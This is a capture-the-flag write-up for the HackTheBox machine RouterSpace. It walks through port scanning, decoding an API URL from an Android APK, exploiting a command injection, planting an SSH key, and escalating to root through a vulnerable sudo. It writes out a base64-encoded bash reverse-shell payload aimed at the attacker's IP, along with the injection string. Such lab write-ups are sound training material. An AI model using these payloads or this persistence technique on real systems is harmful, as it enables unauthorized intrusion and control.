RouterSpace
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.129.145.44 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.129.145.44.
Scan for UDP services with sudo nmap -sU -r -T5 10.129.145.44 -v. This finds nothing:
Website (Port 80)
80)Let's brute force directories with ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.129.145.44/FUZZ -fs 50-90:
This does not find anything.
Clicking the download button on the website downloads a RouterSpace.apk file.
Android App (Downloaded APK)
Dynamic Approach (Hours of Time = Nothing)
I first tried to figure out what this android app did via dynamic debugging. This took many hours and I never could get it to work. The static approach was much more simpler and easy to understand for me. Anyway, here is the record of things I tired:
I used Android Studio to start a emulated Android phone and then I dragged and dropped the RouterSpace APK onto it to install it. Next, clicking on the button causes creates a popup that says there is no internet connection. So, it must be trying to make some kind of network request. I made sure the HackTheBox VPN was connected and added routerspace.htb to my /etc/hosts file. I did this because the release arena machine IP addresses are all different while the app never changed. Therefore, the app didn't have a hardcoded IP address and instead would need to do a DNS lookup. I assumed the machine would follow the pattern of previous HackTheBox machines so I used routerspace.htb.
Static Approach (Quick and Easy)
As we can see under the EwCVL key there is the URL the app tries to access. So, the code searchSelect2(249) + searchSelect2(192) + searchSelect2(156) + searchSelect2(205) + searchSelect2(195) + searchSelect2(161) + searchSelect2(238) evaluates to http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess.
We can figure out that searchSelect2(241) evaluates to EwCVL, which means data[searchSelect2(241)] evaluates to the URL.
API
Trying to make the same request as the app does, we write the following:
This just returns our input, 0.0.0.0, back to use.
Next, we try a command injection:
This returns "\npaul\n". So, we have a command injection!
Foothold
Revere Shell (Didn't Work)
In theory, we can exploit this command injection with a basic bash reverse shell. Start a listener with netcat (nc -nvlp 58437) or pwncat (pwncat-cs -lp 58437). Then, we can encode the reverse shell bash -i >& /dev/tcp/10.10.15.49/58437 0>&1 to base64 with echo -n "bash -i >& /dev/tcp/10.10.15.49/58437 0>&1" | base64 to get YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40OS81ODQzNyAwPiYx. We encode to base64 to remove illegal characters. Now, our payload is ;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40OS81ODQzNyAwPiYx | base64 -d | bash (we need to ; at the front so we can run it after whatever command is being run).
We can use curl to execute our payload by running the following command:
However, running this did not work. In fact, I couldn't even ping my attacker machine from the target box with a command like this:
So, instead I just added my SSH public key to the paul user's ~/.ssh/authorized_keys file.
authorized_keys file
authorized_keys fileWe can add our ssh public key to by running this command:
Privilege Escalation
Now, we can connect with ssh paul@routerspace.htb -i /home/kali/.ssh/id_rsa (or pwncat-cs paul@routerspace.htb --identity /home/kali/.ssh/id_rsa).
We upload LinPEAS (upload linpeas.sh in pwncat) and run it with bash linpeas.sh. This doesn't show much but says sudo version 1.8.31 is installed, which we can also see by running sudo -V.
This outputs the following, which means sudo is vulnerable:
Now, just cat /root/root.txt to get the root.txt flag.
Last updated
Was this helpful?